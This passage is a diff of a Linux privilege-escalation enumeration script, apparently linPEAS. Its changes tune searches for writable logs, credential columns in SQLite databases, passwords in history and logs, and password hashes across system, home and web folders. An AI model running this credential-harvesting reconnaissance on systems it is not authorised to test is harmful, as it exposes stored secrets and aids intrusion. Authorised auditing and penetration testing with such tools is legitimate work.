"$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then # Only print info if something interesting found if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; @@ -4728,7 +5346,7 @@ if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then SQLITEPYTHON="" echo "" printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do - if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd + if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then # If readable and filecmd and sqlite, or readable and not filecmd if [ "$(command -v sqlite3 2>/dev/null)" ]; then tables=$(sqlite3 $f ".tables" 2>/dev/null) #printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g" @@ -4750,7 +5368,7 @@ if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then else columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null) fi - #Check found columns for interesting fields + # Check found columns for interesting fields INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt") if [ "$INTCOLUMN" ]; then printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g" @@ -4781,56 +5399,18 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then fi ##-- IF) All hidden files -print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" -find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 +print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" +find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70 echo "" -##-- IF) Readable files in /tmp, /var/tmp, bachups +##-- IF) Readable files in /tmp, /var/tmp, backups if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" - filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70) + filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70) printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done echo "" fi -##-- IF) Interesting writable files by ownership or all -if ! [ "$IAMROOT" ]; then - print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" - #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all - obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) - printf "%s\n" "$obmowbe" | while read entry; do - if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; - elif echo "$entry" | grep -qE "$writeVB"; then - echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," - else - echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," - fi - done - echo "" -fi - -##-- IF) Interesting writable files by group -if ! [ "$IAMROOT" ]; then - print_2title "Interesting GROUP writable files (not in Home) (max 500)" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" - for g in $(groups); do - iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) - if [ "$iwfbg" ] || [ "$DEBUG" ]; then - printf " Group $GREEN$g:\n$NC"; - printf "%s\n" "$iwfbg" | while read entry; do - if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; - elif echo "$entry" | grep -Eq "$writeVB"; then - echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," - else - echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," - fi - done - fi - done - echo "" -fi - ##-- IF) Passwords in history cmd if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then print_2title "Searching passwords in history cmd" @@ -4868,44 +5448,27 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then fi ##-- IF) IPs inside logs -if [ "$DEBUG" ]; then +if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then print_2title "Searching IPs inside logs (limit 70)" - (find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70 + (find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70 echo "" fi ##-- IF) Passwords inside logs if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching passwords inside logs (limit 70)" - (find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," + (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," echo "" fi -if [ "$DEBUG" ]; then +if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then ##-- IF) Emails inside logs print_2title "Searching emails inside logs (limit 70)" - (find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" + (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" echo "" fi - - - if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then - ##-- IF) Find possible files with passwords - print_2title "Searching passwords inside key folders (limit 70) - only PHP files" - if ! [ "$SEARCH_IN_FOLDER" ]; then - intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) - else - intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null) - fi - printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g" - echo "" - - print_2title "Searching passwords inside key folders (limit 70) - no PHP files" - printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g" - echo "" - ##-- IF) Find possible files with passwords print_2title "Searching possible password variables inside key folders (limit 140)" if ! [ "$SEARCH_IN_FOLDER" ]; then @@ -4941,712 +5504,231 @@ if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi if echo $CHECKS | grep -q api_keys_regex; then print_title "API Keys Regex" +search_for_regex(){ + title=$1 + regex=$2 + caseSensitive=$3 + + if [ "$caseSensitive" ]; then + i="i" + else + i="" + fi + + print_3title_no_nl "Searching $title..." + + if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + else + # Search in home direcoties (usually the slowest) + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in etc + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in opt + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in possible web folders (usually only 1 will exist) + timeout 120 find /var/www /usr/local/www /usr/share/nginx /Library/WebServer/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in logs + timeout 120 find /var/log /var/logs /Library/Logs -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in backups + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + + # Search in others folders (usually only /srv or /Applications will exist) + timeout 120 find /tmp /srv /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE$i "$regex" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + fi + wait + printf "\033[2K\r" +} + + + if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then - print_2title "Searching Hashed Passwords" -print_3title_no_nl "Searching Apr1 MD5 (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Apache SHA (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\{SHA\}[0-9a-zA-Z/_=]{10,}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Blowfish (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Drupal (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$S\$[a-zA-Z0-9_/\.]{52}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Joomlavbulletin (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Linux MD5 (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE 